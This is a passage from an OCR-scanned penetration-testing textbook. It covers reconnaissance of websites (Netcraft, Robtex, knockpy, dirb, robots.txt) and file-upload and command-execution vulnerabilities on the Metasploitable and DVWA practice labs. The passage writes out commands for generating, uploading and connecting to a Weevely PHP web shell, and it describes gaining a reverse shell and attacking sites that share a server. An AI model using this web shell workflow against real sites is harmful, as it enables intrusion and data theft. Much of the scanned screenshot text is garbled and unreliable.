payloads on Metasploit or on Veil-Evasion, we should create them in PHP format and the
target website will be able to run them because it supports PHP. On the Client-Side, we can
see in the preceding screenshot that the website supports JavaScript, so if we run
JavaScript, or if we manage to run JavaScript code on the website, it won't be executed on
the website; it will be executed on the users side who are viewing the website, because
JavaScript is a client-side language and PHP is server-side. If we manage to run PHP code,
it will be executed on the server itself. If we manage to run JavaScript, it will be executed on
the users or the peoples machine who visit the website. It's the same with jQuery. This is
just a framework for JavaScript.
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Scrolling down, we can see in the following screenshot that the website uses WordPress
Self-Hosted software. This is very important. Netcraft will also show any web applications
being used on the website:

Blog
Blog software is software designed to simplify creating and maintaining weblogs. They are specialized content management systems that support the
aulhuring, editing, and publishing of bluy pusls and woimiments.

Technology Description Popular sites using this technology
WordPress Self-Hosted & Free and open source blogging tool and a content management system  blogs.technet. microsoft.com,
{CMS) based on PHP and MySQL (hosted independently) wordpress.com, sellercentral-
europe.amazon.com

Content Delivery Network
A content delivery network or content distribution network {CDN) is a large distributed system of servers deployed in multiple data centers in the
Internet. The goal of a CDN is to serve content to end-users with high availability and high performance.

Technology Description PMopular sites using this technology
Gongle Hosted libraries  Gongle APT tn refrieve TavaScript libraries www.metenfrance.com,
& www.commentcamarche.net,

www.ilfattoquotidiano.it

PHP Application
PHP is an open source server-side scripting language designed for Web development to produce dynamic Web pages.

Technology Deccription Popular sites using this technology
WordPress & Free and open source blogging tool and a content management system  www.news.com.au, www.cybrary.it,
(CMS) based on PHP and MySQL imagesrv.adition.com
RSS Feed

RSS Rich Site Summary is a family of web feed formats used to publish frequently updated works such as blog entries, news headlines, audio, and
video in a standardized format.

Technology Description Popular sites using this technology

RSS & Standardized web feed format used to publish frequently updated works www.dailykos.com, www.elmundo.es,
WWW.Marca.com
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WordPress is just a web application, so we could see other examples in our case, and it's an
open source web application, there are a lot of other websites might have. The good thing is
we can go and find exploits or vulnerabilities within the web application. If we are lucky
enough to find an existing one, then we can go ahead and exploit it on the target website.
For example, we have WordPress in our example, so if we go to https://www.exploit-db.
com/ and search for WordPress, we'll manage to find lot of exploits related to WordPress.

There are different versions of WordPress. We need to make sure that we have the same
version as our target. We'll look at examples to see how to use exploits, but it just shows
how powerful information gathering is. Scrolling further, we can also find other
information, such as that the website uses HTML5 and CSS, and all that kind of stuff:

Doctype

A Document Type Declaration, or DOCTYPE, is an instruction that associates a particular SGML or XML document (for example, a
webpage) with a Document 1ype Definition (D 1 D]).

Technology Description Popular sites using this technology
HTMLS5 & Latest revision of the HTML standard, the main markup language  www.google.com, www.facebook.com,
on the web coinmarketcap.com
CSS Usage

Cascading Style Sheets (CSS) is a style sheet language used for describing the presentation semantics (the look and formatting) of a
document written in a markup language (such as XHTML).

Technology Description Popular sites using this technology

External & Styles defined within an external CSS file Www.amazon.com, www.bbc.co.uk,
www.bbc.com

CSS Media Query No description www.microsoft.com,

www.googleadservices.com,
www .dailymail.co.uk

Fmhedded & Styles defined within A wehpage www.cisco.com, www.spiegel.de,

webshell.suite.office.com

Hence, Netcraft is really useful for getting to know the website. We gathered information
regarding the site—that it runs on PHP, and runs JavaScript. It uses WordPress, so we can
use WordPress to hack into the website, and if we scroll up, we also discovered the web
hosting of the website. Therefore, in worst-case scenarios, we can try to hack into a web
hosting server and gain access to our target website.
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Robtex

In this section, we'll learn how we can get comprehensive DNS information about the target
website. Just to give a quick review on what DNS is, when we type FACEBOOK.COM, a
DNS SERVER will convert the name into an IP address. The DNS SERVER contains a
number of records, each pointing to a different domain or to a different IP. Sometimes, they
point to the same IP, but in general, they request the domain name, it gets converted into an
IP address, and, depending on the address, the information needs to be stored somewhere.
We're going to query the DNS SERVER and see what information we can get through it.

The process is illustrated in the following diagram:

DNS SERVER
195.44.2.1 I I I FACEBOOK.COM
195.44.2.1 HTML
WEBSITE
By

We're going to be using a website called Robtex (https://www.robtex.com/), searching
isecurlty.org. Next, just click on GO and select the first result on the website.
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Now, we can see here that this report contains a lot of information, but we have a nice little
index that will help us navigate through it. A lot of this information is a little bit advanced,
so we will be skipping through a lot of it because we want to keep this as basic as possible.
Web penetration testing is a vast topic in itself. Hence, we're going to keep this a little bit
basic, and we'll see what information we can see in the following screenshot:

isecur1ty.org quick info
General

FQDN isecurl1ty.org

Host Name

Domain Name isecurity.org

Registry org

TLD org

DNS

IP numbers 46.101.29.109

Name servers nsi.digitalocean.com
nsZ.digitalocean.com
ns3.digitalocean.com

Mail servers aspmx.l.google.com
alt1.aspmx.l.google.com
alt2.aspmx.l.google.com
alt3.aspmx.l. google.com
alt4.aspmx.l.google.com
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Firstly, we get information about the website. We can see the DNS records, we can see the
Name servers that have been used, and we can see some Mail servers. We can also see the
RECORDS that we were talking about and the DNS server:

isecurity.org
a 46.101.29.109
whois business xD5L last miles w/ managed CPE various tech. centers
route 46.101.0.0/18
bgp AS14061
asname DOSFO DigitalOcean SF Region

descr Komlnvest route
location Londen, United Kingdom
ns nsi.digitalocean.com
a 2400:cb00:2049:1::adf5:3a33
route 2400:cb00:2049::/48
bap A513335

Here, we can see all of these records. We can see the a record, the one that converts a
domain name to an IP address, and if we remember, when we were performing DNS
spoofing, we added an A record in our dns.conf and iter.conf files. The a record is
actually what's used in the DNS servers to link isecurlty.org to its IP address, but again,
there is another type of record; for example, we have the ns record, which links the domain,
the name server. We can also see the mx record in the following screenshot, which links it
to the mail server, and we can see that the website uses a Google mail server, so it's
probably using Gmail to provide mail services:
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mx aspmx.l. google.com

a 2404:6800:4003:c03:: 1a
route 7404:6800:4003::/48

bgp AS15169

descr Google

location Singapore, Singapore

2404:65300:4008:c00:: 1b
route 2404:6800:4008::/48

bep AS15169

Scrolling further, we have a graph of how all of the services interact with each other, how
the services use the records, and how they are translated into IP addresses:

LA *® -
4
ASR4ES
s
fsiazas -
AS1916
PiNg
e
= ASBAS2
ASKS39
46,101.000/18
r<d.digitalocea
#it3.aspm.Lgoogle.com e
¥ AS9002
b
-
4 »

Services interacting with each other
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In the Shared tab, we will see if any of these resources are being shared:

46.101.29.109
1 results shown.

|www.isecur1 ty.org

1t results shown.

asprx.l.google.com
altl.aspmx.l.google.com

alt2.as; i le.com

alt3.aspmx.l.goagle.com

alt4.aspmx.l.google.com
5 results shown.

1security.org
securityl.org

12 results shown.

securilyl.com.au
I
1 results shown.

isecurlty.com
ask.lsecurity.org

2 results shown.

2900:cb00:2099:1::adf5:3a33
2400:cb00:20499:1::8df5:3b29
2400:cb00:2049:1::c629:dead

2607:/8b0:4001:c1d::1a
2607:f8b0:4003:c09::1a

2607:f8b0:400d:c03::1b
2a00:1450:400b:c00::12
2a00:1450:4013:c02::1a
64.233.188.20
74.125.130.27
74.125.195.26
173.194.218.27
209.85.232.27

10 results shown.

172.245.58.51
172 24550 41
198.41.222.173

results shown.

Domaine or hostnames one ctep under thic domain or hestname.
ask.isecurlty.org

roadmap.isecurlty.org

server.isecurlty.org

www.isecurlty.org

iblings are domains or hostnames en the same level, under the same parent level. Mot necessarily related in any other way

4 results shown.

[Thiz sub sectien shows thic name on cther top level domains. |

isecurlty.com
isecurlty.nct

| lisecurity.110mb.com

isecurlty.us?.list-manage.com
4 results shown.

We can also see that it's using three Name servers. We can see the Mail servers, and we can
also see a number of websites pointing to the same IP address, and a number of domain
names, pointing to the same IP address. Therefore, the preceding websites are stored on the
same web server. Now, again, there is more information about the name servers and
websites that are Sharing mail servers. It doesn't mean that these websites are on the same
server, but the most important thing is that we have the websites pointing to the same IP,
which means that these websites exist on the same server. Now, if you gain access to any of
the websites mentioned, it will be very easy to gain access to isecurity.org.
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Websites on the same server

Websites are installed on web servers on normal computers, as we said before. These
normal computers have IP addresses and, using the IP address, we can access our target
website. Now, in many scenarios, our target website, or our target server, will contain a
large number of websites, hence it'll have the website that we are targeting, but it will also
contain other websites on the same server, hence on the same filesystem. For example, if we
could not find any vulnerabilities in our target website, we can still try to hack into any
other website that is installed on the same server. If we can do that, then we will be able to
gain access to the server. Gaining access to the server basically means that we have access
to all the other websites, because the server is just a computer, and we can navigate to the
website that we want to hack and gain access to that website. Suppose we are trying to hack
into a website and we can't find an exploit, then the next step will be trying to hack any
other website that existing on the same server. Hence, what we mean by exist on the same
server is they have the same IP address.

Information gathering from target websites

So far, we have just been using commands and tools to gather information about the victim.
Now, we will make use you information that we get from URLs the victims browses, also
how we can analyze the files from the targets machine to which we have access to and what
useful information we can gather through them. We will then see how to use the gathered
information to launch attacks.
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Finding subdomains

In this section we're going to study subdomains. We see subdomains everywhere, for
example, subdomain.target.com. Now, if we have beta. facebook.com, we would
have mobile. facebook.com, or we might have user.facebook.com. Suppose we google
mail.google.com, which just takes us to Gmail. Why subdomains are important is, in a
lot of cases, websites have subdomains for their own users, for example, for employees or
for certain customers, so they're not advertised unless it's some sort of a VIP customer or
we are an employee. We will not see these subdomains on search engines and we will never
see a link leading to them, so they might contain vulnerabilities or exploits that will help us
gain access to the whole website, but we just never knew about them because they're not
advertised. Another thing is, a lot of the big websites, when they're trying to install a new
update or add a new feature to the website, install it in a subdomain, so we have
beta.facebook.com, which actually contains a beta version of Facebook, which contains
experimental features. Now, experimental features are great because they're still under
development, and there's a really high chance of finding exploits in them. This is actually
true, not so long ago, someone was able to brute-force the restore password key for any
Facebook user and was able to gain access to any Facebook user's account. This was only
possible through beta. facebook.com because Facebook used to check for a number of
attempts or failed attempts, and they just didn't implement that security feature in beta
because they didn't think anyone was going to go there. Beta usually contains more
problems than the normal website, so it is very useful to try and hack into it. In this section,
we will see how we can find any subdomains that have not been advertised, or even
advertised ones, so we'll be able to get subdomains of our target.

We're going to use a tool called knock. The tool is very simple. We don't really need to
install it; all we have to do is download it using a git command. The command is git
clone, and then we put the URL of the tool as follows:

git clone https://github.com/guelfoweb/knock.git

Once it's downloaded, navigate to it using the cd command and we'll see that we have the
.py file. We are going to run it using the python knockpy.py command, and then we will
enter the website that we want to get the subdomains of, which is isecurity.org. The
following is the command:

python knockpy.py isecurlty.org
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After execution, the command will show some information about the website, as seen in the
following screenshot:

isecurlty.org

Target information isecurlty.org

et Name

urlt

local
Getting subdomain for isecurlty.org

Ip A Domain Name
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It will perform a brute-force and a Google-based subdomain search for isecurlty, and it will
show us any subdomain that isecurlty might have that we could try and test the security of
and see what's installed on it. Maybe we will be able to gain access to the website through
that subdomain. Once the scan is complete, as we can see in the following screenshot, we
managed to find seven subdomains that were not advertised:

Getting subdomain for isecurlty.org

wWww . 1securlty.org
lsecurlty.org

Now, one of them is ftp.isecurlty.org. We already know about isecurity.org,
localhost.isecurlty.orgisjust alocal subdomain. We can see that the mail server
mail.isercurlty.org hasits own subdomain as well, and we can see a very interesting
one, news.isecurlty.org. It actually did contain a beta version of a script that was been
worked on. Hence, if someone was trying to hack into our website, they'd actually see that
there is a script under development, and there's a high chance that they would have been
able to find a vulnerability in it and gain access to the whole website.
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This just shows us again how important information gathering is, which can be used to
gain access to websites. If we don't do it, we will be missing a lot of things. For example, we
might be missing a whole script with a whole number of vulnerabilities, or we could be
missing an admin login page or an employee login page.

Information gathering using files

So far, we have learned how to find any subdomains that exist within our target website
that have not been listed. In this section, we're going to see how we can find files and
directories that are stored on our target computer or our target website. Again, these could
be useful because these files could contain passwords, they could contain config
information, or they could contain information about the actual server, which will help us
further exploit our target.

Let's just first see what is meant by files and directories, just to show the structure of
directories on a web server. We have our Metasploitable machine and, as we know, usually
the web server stuff is stored in var/www/ directory. If we run 1s, we will see that we have
a number of files and directories, as shown in the following screenshot:

nsfadminemetasploitable: svar uuu§ ls

index .php phpinfo.php test tikiwiki-old
mutillidae phpMyfAdnin tikiwiki twiki

If we run the 1s -1a command, it gives us a list of precise information
about files and directories.

We can see in the preceding screenshot that we have a directory called mutillidae.
Mutillidae is a web application that is designed to behave just like Metasploitable. It is
designed so that it has a number of exploits so that we can learn how to hack using it. You
will see that it's installed in a directory called mutillidae.
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Now, if we go to the IP address of the Metasploitable machine 10.0.2. 4, there is easy
access for us to Mutillidae. If we click on the URL, 10.0.2.15 /mutillidae, we should
see the following:

I hitp://10.0... mutillidae/ = | +
€ | @ 10.0.24/mutillidae searct &8

" Most Visited~  JflOffensive Security " Kali Linux S Kali Docs " Kali Tools = Exploit-DB W Aircrack-ng ', Kali Forums s, NetHunter " Kali Training @ Getting Started

®%¢ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Mot Logged In

Hume Login/Register  Toggle Hints Togyle Securily Reset DB

View Log View Captured Data

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP
Top 10

OWASP Top 10 ¥
g o k i i
Ducumentation Latest Version / Installation

L3

» Installation Instructions
+ Usage Instructions
« Getrid of those pesky PHP errors

‘

= Change Log
« Notes

That means we are inside the muti11idae directory. So, every time we see a forward slash,
that usually means we are inside a directory. Now, if we run cd mutillidae and we also
run the 1s command, we will see that we have a large number of files:

captured-data.php
captured-data.txt
change-log.htm
classes
closedb.inc
config.inc
credits.php
dns—lookup . php
documentation
favicon.ico
footer.php
framer.html

framing.php

html5-storage.php
images

inc

includes

index .php
installation.php
Jjavascript
login.php
log-visit.php
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passuwords
pen—test—tool-lookup.php
php-errors.php
phpinfo.php
phpMyAdmin. php
process—conmands . php
process-login-attempt.php
redirectandlog.php
register.php
rene-magritte.php
robots.txt
secret-administrative-pages.php
set-background-color.php
set-up-database.php
show-1log.php
site-footer-xss-discussion.php
source-viewer.php

styles
text-file-vieuwer.php
usage—instructions.php
user—-info.php
user-poll.php
view-someones—blog.php
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For example, let's say we wanted to open one of these files and we have index.php. If we
do index.php, then this is our current file on the browser, it's called index.php, we will
be able to see it in the URL .

Now, what we learned from this is that mut i11idae is just a directory inside our web root.
So, at the moment, the Metasploitable web application is stored in /var/www/mutillidae
directory and then the file that we are accessing is index . php. If we run the pwd command,
we will see that we're in /var/www/mutillidae:

msfadmin@metasploitable:svar uwu-nutillidae$ puwd

ruarsuuusnutillidae

The IP address kind of hides where our www route is, it hides the /var/www route, and then
everything after that will be displayed after the IP address.

Therefore, what we're looking to find is all the directories and the files that we cannot see.
So, through the links, we will be able to access different types and different pages. This is
the same with any other website, but there are always files and directories hidden that we
just never see. We'll see how we can get URLSs for the files and access them, and read the
information in them. To do that, we're going to use a tool called dirb, and to see how to
use that tool we're going to run the man dirb command to see all the options associated
with that tool. In the following screenshot, we can see the syntax. To use the tool, we just
type in dirb, the URL of our target, and then output a wordlist. The way it works is based
on a brute-force attack, and just uses a wordlist of names and it sends requests with those
names. Any time it finds something it tells us, then we will find a file with a name from the
wordlist. So, it is only able to find names and directories based on the wordlist that we
provide:
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General Commands Manual DIRB(1)

dirb - Web Content Scanner

SYNOPSIS
dirb <url_base> =url base= [<wordlist file(s) [options

DESCRIPTION
DIRB IS a Web Content Scanner. It looks fo (and/ hidden)
Web Objects. It basically works by launchin
against a web server and analizing the response.

OPTIONS
<agent_string=>
Specify your custom USER AGENT. (Default is: "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1)")

Don't squash or me equences of /../ /./ 1in the given
URL .

<cookie string=
Set

<certificate>
Use the specified client certificate file.

Fine tunning of NOT FOUND (404) detection.

<header_string=
Add a custom header to the HTTP request.

Manual page dirb(1l) line 1 (press h for help or q to quit)

We can create a wordlist using crunch or we can use wordlists that come with the dirb
tool. The options here allow us to configure how the tool works. We can change things
around the way we want them. For example, we can disable the recursive nests of the tools
so it just runs on one directory instead of trying a number of directories. We can get it to
ask us if we want it to access the directory or not, instead of automatically accessing
directories and trying to find files within those directories, because this could be exhaustive
if our target is a big website; there might be a lot of directories and then the tool would try
to access all of them and find files within all of them. We can see how big the tree could go.
We can also set it to use a username and a password if the target websites use some sort of
authentication, and we can use —v for verbose output and -o to output the results to a file.
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Now, let's look at a very simple example. We are just going to run dirb on our target,
whichis http://10.0.2.4. We inserted http:// because, remember, we're targeting a
website not an IP address. Then, we are going to put the directory, in our case
the mutillidae directory, that we want to find files and directories within. We don't want
it to access anything within other directories, because we have a number of scripts installed
on the Metasploitable web server; we only want it to work on the mutillidae directory.
So, the command is as follows:

dirb http://10.0.2.4/mutillidae/

After writing the command in the Terminal and hitting Enter, it will start to find URLs and
files within the web application. We can see the command in action in the following

screenshot:

:~# dirb http://10.6.2

DIRB v2.22

By The Dark Raver

START TIME:
URL BASE:

GENERATED WOR

Scanning

=== DIRECTORY:

+ http://10.0.2
=== DIRECTORY:
+ http 19.0.

+ http
+ http
+ http://18.0
=== DIRECTORY

+ http://10.0.2
=== DIRECTORY:

+ http://10.0.2
/10.0.2
+ http://10.0.2
=== DIRECTORY:

'/10.0.2
+ http://10.0.2

+ http

+ http

sat Jul :
http://10.¢
WORDLIST FILES:

fusr/

URL:

4}mutillida

Ilttp J/10.0.;

4;mut1111dd
/fmutillida
/mutillida
/mutillida

http://10.0.:

A/mutillida

http 2//10.0.2.4/m

A/mutillida

A/mutillida

http://10.0

4/mutillida

http:fﬁlﬂ.@.z
http://10.0.2

A/mutillidaey

.4/mutillidae
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0|SIZE
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It will take a while for it to process dirb will use a wordlist file and it will use a default
small wordlist file that is stored in usr/share/dirb/wordlists/common.txt.

We can have a look at the usr/share/dirb/wordlists/common.txt directory and see if
there are any other wordlists that we would like to use, but we can use them only by
placing the full path to the wordlist after the command. Therefore, instead of the way we
wrote the command, just state the path where our wordlist is placed. For example, let's say,
if it's in the root directory, we type it as root /wordlist.txt, but at the moment, it's
using the default one, which is stored in the usr/share/dirb/wordlists/common.txt
directory. In the next section, we'll see how to analyze the files we downloaded using

the dirb tool.

Analyzing file results

We can see in the following screenshot of the result that the dirb tool was able to find a
number of files. Some of them we already know:

GENERATED WORDS: 4612

---- Scanning URL:
=== DIRECTORY: http ;;10 0]
+ http://10.0.2.4/mutilli its 0|SIZE:509)
==> DIRECTORY: http://10.0 i documentation/
+ http: 3.0.2.4/mutilli favicon.ico (CODE:200|SIZE:1150)
+ http:
A/mutilli
+ http://10.0.2.4/mutillic
=== DIRECTORY: http://10.0
http //10.0.2. 4/mutilli
=== DIRECTORY: http //10.0.2
+ http: 3.0.2 *nmtllll e p.
+ http: 0.0.2. index php fCODE.lDD|;ILE
/ ins allatlun (CODE: 28
/mutillidae/javascript/
(CODE 0|SIZE:4102)
2.4 (CODE 0|SIZE:1721)
+ http://10.0.2.4/mutilli age-not-found (CODE:200|SIZE:705)
=== DIRECTORY: http://10.0 /mutillidae /

/ 2.4/mutilli phpinfo (CODE:20@|SIZE:
mutilli phpinfo.php (CODE:200|SIZE:
mutilli phpM”himln E(DDE :

/mutilli /re er

mutilli {CDDE.200|:

+ http://10.0.2.4/mutilli obots.txt ECDDE:“00|SIZE:169}
== DIRECTORY: http://10.0.2.4/mutillidae yl
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Now, as we can see in the preceding screenshot, favicon. ico isjust anicon; footer and
header are probably only style files; and index.php is the index that we usually see. We
can see that we discovered a 1ogin page that allows people to log in.

Now, in many scenarios, we would be able to find the username and password of a target
by exploiting a really complex vulnerability, and then end up not being able to log in
because we couldn't find where to log in. In such cases, tools like dirb can be very useful.
We can see that the phpinfo.php file is usually very useful because it displays a lot of
information about the PHP interpreter running on the web server, and as we can see in the
following screenshot, the file contains a lot of information:

{php.ini} Path

System Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00
UTC 2008 i6B6

Build Date Jan 6 2010 21:50:12

Server APl CGlfFastCGl

Virtual Directory disabled

Support

Configuration File Jetc/phpSicgi

Loaded Configuration
File

fetc/phpS/cgifphp.ini

Scan this dir for
additional .ini files

Jetc/phpbicgifconfd

additional .ini files

Jetc/phpSicgi/confdigd.ini, fetc/phpSicgi/confd/mysgl.ini, jetc/phps

parsed fcgifconfd/mysgli.ini, fetc/phpS/cgifconf.d/pdo.ini, fetc/php5/cgilconfd
/pdo_mysqgl.ini

PHP API 20041225

PHP Extension 20060613

Zend Extension 220060519

Debug Build no

Thread Safety disabled

Zend Memory Manager |enabled

IPvé Support enabled

Registered PHP Zip, php, file, data, http, ftp, compress.bzip2, compress.zlib, https,

Streams ftps

Registered Stream tcp, udp, unix, udg, ssl, sslv3, sslv2, tls

Socket Transports

Registered Stream string.rot13, string.toupper, string.tolower, string.strip_tags,

Filters convert.®, consumed, convert.icony.®, bzip2 *, zlib.*
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Preceding information's are useful, and we can get to know some of the directories. From
the preceding screenshot, we know that it's running php5, the configuration is stored in
the . cqi file. . ini files are usually the config files for PHP, so we can see all the places
where they are stored.

When we scroll down further, we will see the permissions installed. We will also see that it

has MySQL, so it's using MySQL:

mysql
MySQL Support enabled
Active Persistent Links 1]
Active Links 1]
Client APl version 5.0.51a
MYSQL MODULE TYPE external
MYSQL SOCKET fearirun/my sgld/mysgld.sock
MYSQL INCLUDE -lfusrfinclude/mysg
MYSQL_LIBS -Liusrflib -lmysglclient
Directive Local Value Master Value
mysql.allow_persistent On Oon
mysql.connect_timeout 60 60
mysql.default_host no value no value
mysql.default_password no value no value
mysql.default_port no value no value
mysql.default_socket no value no value
mysql.default_user no value no value
mysql.max_links Unlimited Unlimited
mysql.max_persistent Unlimited Unlimited
mysql.trace_mode Off Off

We can see in the preceding screenshot the directories where different types of
configurations are stored. We can also see all the modules and extensions that are being
used with PHP, so the phpinfo.php file is very useful. We can see in the following
screenshot that we managed to find where the phpMyAdmin login is, and that's basically the
login that's used to log in to the database:

http
http
http
http

.4/mutillidae/phpMyAdmin (CODE:200|SIZE:174)
A /mutillid register (CODE:200|SIZE:1823)
.4/mutillidae/robots (CODE:200|SIZE:160)
.4/mutillidae/robots.txt (CODE:200|SIZE:160)

.2
.2
.2
.2
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Another very useful file is the robots. txt file, which tells search engines, such as Google,
how to deal with the website. Hence, it usually contains files that we don't want the website
or Google to see or to read. Now, if we can read the robots. txt file, then we'll be able to
see what the web admin is trying to hide. We can see in the following screenshot that the
web admin doesn't want Google to see a directory called passwords, and it doesn't want
us to see a file called config. inc either. Niether does it want it to see these other files:

/ http://10.0.2...ae/robots.txt * | +

&= | @ | 10.0.2.4/mutillidae/robots. txt
[ Most Visitedw Jll Offensive Security

User-agent: *

Disallow: ./passwords/
Disallow: ./config.inc
Disallow: ./classes/
Disallow: ./javascript/
Disallow: ./owasp-esapi-php/
Disallow: ./documentation/

Now, let's see the . /passwords and . /config. inc files:

http://10.0.2...aefrobots.txt * | Index of /mutillidae/pass... = | +

@ | 10.0.2.4/mutillidae/passwords/

[ Most Visitedv JllOffensive Security S Kali Linux "% Kali Docs “ Kali Tools =

Index of /mutillidae/passwords

Name Last modified Size Description

& Parent Directory -
accounts. txt 11-Apr-2011 20:14 176

Apache/2.2.8 (Ubuntu) DAV/2 Server at 10.0.2.4 Port 80
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We can see in the preceding screenshot that there is a file called accounts. txt and,
clicking on the file, we can see that we've got some usernames and passwords. So, we can
see that there is a admin user, with the adminpass password and we can see that we have a
password for the adrian user, which is somepassword. So, we managed to find usernames
and passwords, as seen in the following screenshot:

http://10.0.2..ae/robots.txt x | http://10.0.2../accounts.txt x

€ ) | 10.0.2.4/mutillidae/passwords/accounts. txt
[ Most Visitedw Jll Offensive Security " Kali Linux S Kali Doc

'admin', 'adminpass', 'Monkey!!

'adrian', 'somepassword', 'Zombie Films Rock!!!
'john', 'monkey', 'I like the smell of confunk
'ed', 'pentest', 'Commandline KungFu anyone?'

Now, we're still not sure what the preceding usernames and passwords are for, but we're
sure that we were able to find very useful information. Another useful file is the
config.inc file, and we can see in the following screenshot that we have information that
allows us to connect to the database, because they have $dbhost, $dbuser, $dbpass, and
$dbname parameters:

http://10.0.2...ae/robots.txt ® | http://10.0.2.../accounts.ixt * | http://10.0.2..ae/config.inc =

@ | 10.0.2.4/mutillidae/config.inc

[ Most Visitedv [l Offensive Security e, Kali Linux S Kali Docs "% Kali Tools = Exploit-DB Wy

<7php
/* NOTE: On Samurai, the $dbpass password is "samurai" rather than blank */
$dbhost = 'localhost’;
sdbuser = 'root';
$dbpass = '';
$dbname = 'metasploit’;
1>

[449]



Website Pentesting - Information Gathering Chapter 18

We can see that the username is root and the password is blank, so we can go ahead and
try to connect to the database based on the commands from the preceding screenshot, and
then we should be able to get access to the database.

Also, we're still not sure where we can use them, but we can add them to a list to try to log
in to the admin, or just store them in a list so that we can use them if we carry out a brute-
force attack.

Summary

This chapter focused on gathering information. Firstly, we used tools such as Whols
Lookup, Netcraft, and Robtex. Then, we focused on how we can use the websites hosted on
a server to exploit that particular server. We then learned about domains and how they can
act as an important source of information that can we use to attack a victim. Later, we
studied how to access files on a target system or target websites, and also how to analyze
important information from various files.

Now, in the next chapter, we are going to see how important and powerful information
gathering can be to launch attacks on victims.
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File Upload, Code Execution,
and File Inclusion
Vulnerabilities

This chapter will talk about different vulnerabilities and will explain how to perform them
on the Metasploitable machine. A detailed illustration of the each of the scenarios will be
covered. At the end of every section, we will also see a quick solution to each vulnerability
explained.

The chapter will cover the following topics:

e File upload vulnerabilities

e Code execution vulnerabilities

¢ Local file inclusion vulnerabilities
¢ Basic mitigation

File upload vulnerabilities

In this chapter, we're going to have a look at file upload vulnerabilities. This is the simplest
type of vulnerability because it allows us to upload any type of file. For example, if the
target computer can understand PHP, then we can upload any PHP file or a PHP shell and
get full control over the target computer.

If the target computer or the target server understands Python then we can just upload
Python code or Python Shell. We can create these shells using Veil-Evasion or Metasploit,
or we can use our own PHP or Python Shell.
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In the next section, we are going to have a look at a tool called Weevely that generates PHP
shells and allows us to gain access to and do a number of cool things on the target
computer.

Getting started with Weevely

When we're trying to pen test a website, before trying to use any tools or any other means,
after we perform our information gathering, first browse the website. Just get a feel of the
website, see what's installed on it, and try to exploit the features.

After going through the website, upload a file using the Upload tab. The website allows us
to upload a file. Sometimes in penetration testing tasks, it could be a website that's allowing
us to upload a profile picture or a classified website allowing us to upload pictures of cars:

S . Vulnerability: File Upload

Instructions |

Choose an image to upload:
| Browse... No file selected.

Brute Force Upload

Command Execution

CSRF More info

SQL Injection

|
|
|
File Inclusion |
|
|

SQL Injection (Blind)

XSS reflected |
XSS stored |

DVWA Security |
PHP Info |
About |

Logout |

Username: admin View Source | View Help
Security Level: high

PHPIDS: disabled
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As we can see in the preceding screenshot, the website expects us to choose and upload an
image. Choose any image by clicking the Browse... button, and upload a picture by clicking
the Upload button.

We can now see, in the following screenshot, that the image has been uploaded
successfully:

Choose an image to upload:
Browse... Mo file selected.

Upload

../ ../hackable/uploads/image. jpeg succesfully uploaded!

It's placedin . ./../hackable/uploads/image. jpeg, which means two directories
backward followed by the filename.

Let's see whether the picture has actually been uploaded. We're going to use two
directories, the vulnerabilities (10.0.2.4/dvwa) and upload
(hackable/uploads/image. jpeg). We are using the directories just to ensure that the
picture was uploaded properly. Once we add the directories to the address bar, we will see
that the picture has been successfully uploaded:

4 | @ 10.0.2.4/dvw i peq ear waE +$ & O a0 =

1 Most Visited il Offensive Security S\, Kali Linux S\ Kali Docs "\ Kali Tools = Exploit-DB W Aircrack-ng " Kali Forums s NetHunter S\ Kali Training @ Getting Started
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The next thing we want to do is try uploading a PHP file, and to do that we're going to use
a tool called Weevely. As said before, to create a payload or a shell, if that's what we want
to call it (and it obviously is going to be a PHP shell), we can use Metasploit. To create a
PHP payload, we're going to use a different tool that's designed for web application
penetration testing.

It's quite easy to use. First, we are going to type the tool name weevely and add generate
because we want to generate a payload or a shell file. Then we will put a password for the
file so that only we can access it and control the website. As demonstrated in the following
snippet, the password is 123456 and we want to store it in the /root location, called
shell.php. The command is as follows:

weevely generate 123456 /root/shell.php

So, weevely is the name of the program, generate is to generate a shell, followed by the
password, for authentication purposes, which is stored in /root/shell.php.

Hit Enter and create it. As we can see in the following screenshot, the file is generated at the
specified location:

:~# pwd

Jroot

:~# s
alert.js Public
backdoored-calc.exe shell.php

Now go back to the DVWA website and upload the shell.php file the same way we
uploaded the image. All we need to do is use run the following command:

weevely http://10.0.2.4/dvwa/hackable/uploads/shell.php 123456

This process is similar to multi-handler waiting for a connection to the backdoor. We are
connecting the backdoor that we uploaded, and we can see in the following screenshot we
are in the filesystem:

:~# weevely http://10.0.2.4/dvwa/hackable/uploads/shell.php 123456

[+] weevely 3.2.0

essions/10.0.2.4/shell @.session

se the file em or cute commands starts the connection
[+] to th

[+
e target. Type :help for more information.

weevely> ||
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Using weevely, we'll can just type in any Linux command, which will be executed on the
target computer, and for which we can see the results. If we type pwd we will be able to see
the location /var/www/dvwa/hackable/uploads, and if we type id, we will be able to
see the user, which is the www-data. If we type uname -a, just to confirm that this is the
Metasploitable machine, it will give us the following output:

rify script integrity and sent

verify script integrity and sent payload correc

rily and senl payluad correc

We can do anything we want: list the files, navigate; we can perform any Linux command
that we want. Weevely also offers many more features. If we type in help, we'll be able to
see more functionalities of Weevely. We can try to escalate our privileges, execute SQL

queries, and a lot of cool stuff that is just designed for web application penetration testing.

Code execution vulnerabilities

This type of vulnerability allow us to execute the operating system (OS) code on the target
server. If the target server uses Windows, we will be able to execute Windows commands.
If it uses Linux, then we will be able to use Linux commands.

This is a critical vulnerability that would allow the attacker to do anything they want with
the target's server. We can upload a PHP shell using the wget command, or upload a
payload, a virus, using the wget Linux command. We just need to make sure that we're
uploading it to a file or to a directory that we're allowed to write to.

Another way of exploiting this vulnerability is to just run OS commands and get a reverse
shell based on these commands. We can run OS commands and the programming
languages supported by the OS in order to try and get a reverse connection on our
computer.

Let's assume that we are browsing and click on the Command Execution tab on DVWA,
which take us to the textbox website, which will ping for free. We should always try to
experiment with the input box we see, try to see what that input box does and what can we
inject into it, and what can we do to get hacking started.
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So, for example, this input box is asking us to ping, and if we put in an IP, for example,
we're going to put 10.0.2.15. After filling in the details, click on submit. We can see the
ping results in the following screenshot:

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

| !| submit

PING 18.8.2.15 (18.8.2.15) 56(84) bytes of data.

64 bytes from 18.8.2.15: icmp_seq=1 ttl=64 time=0.235 ms
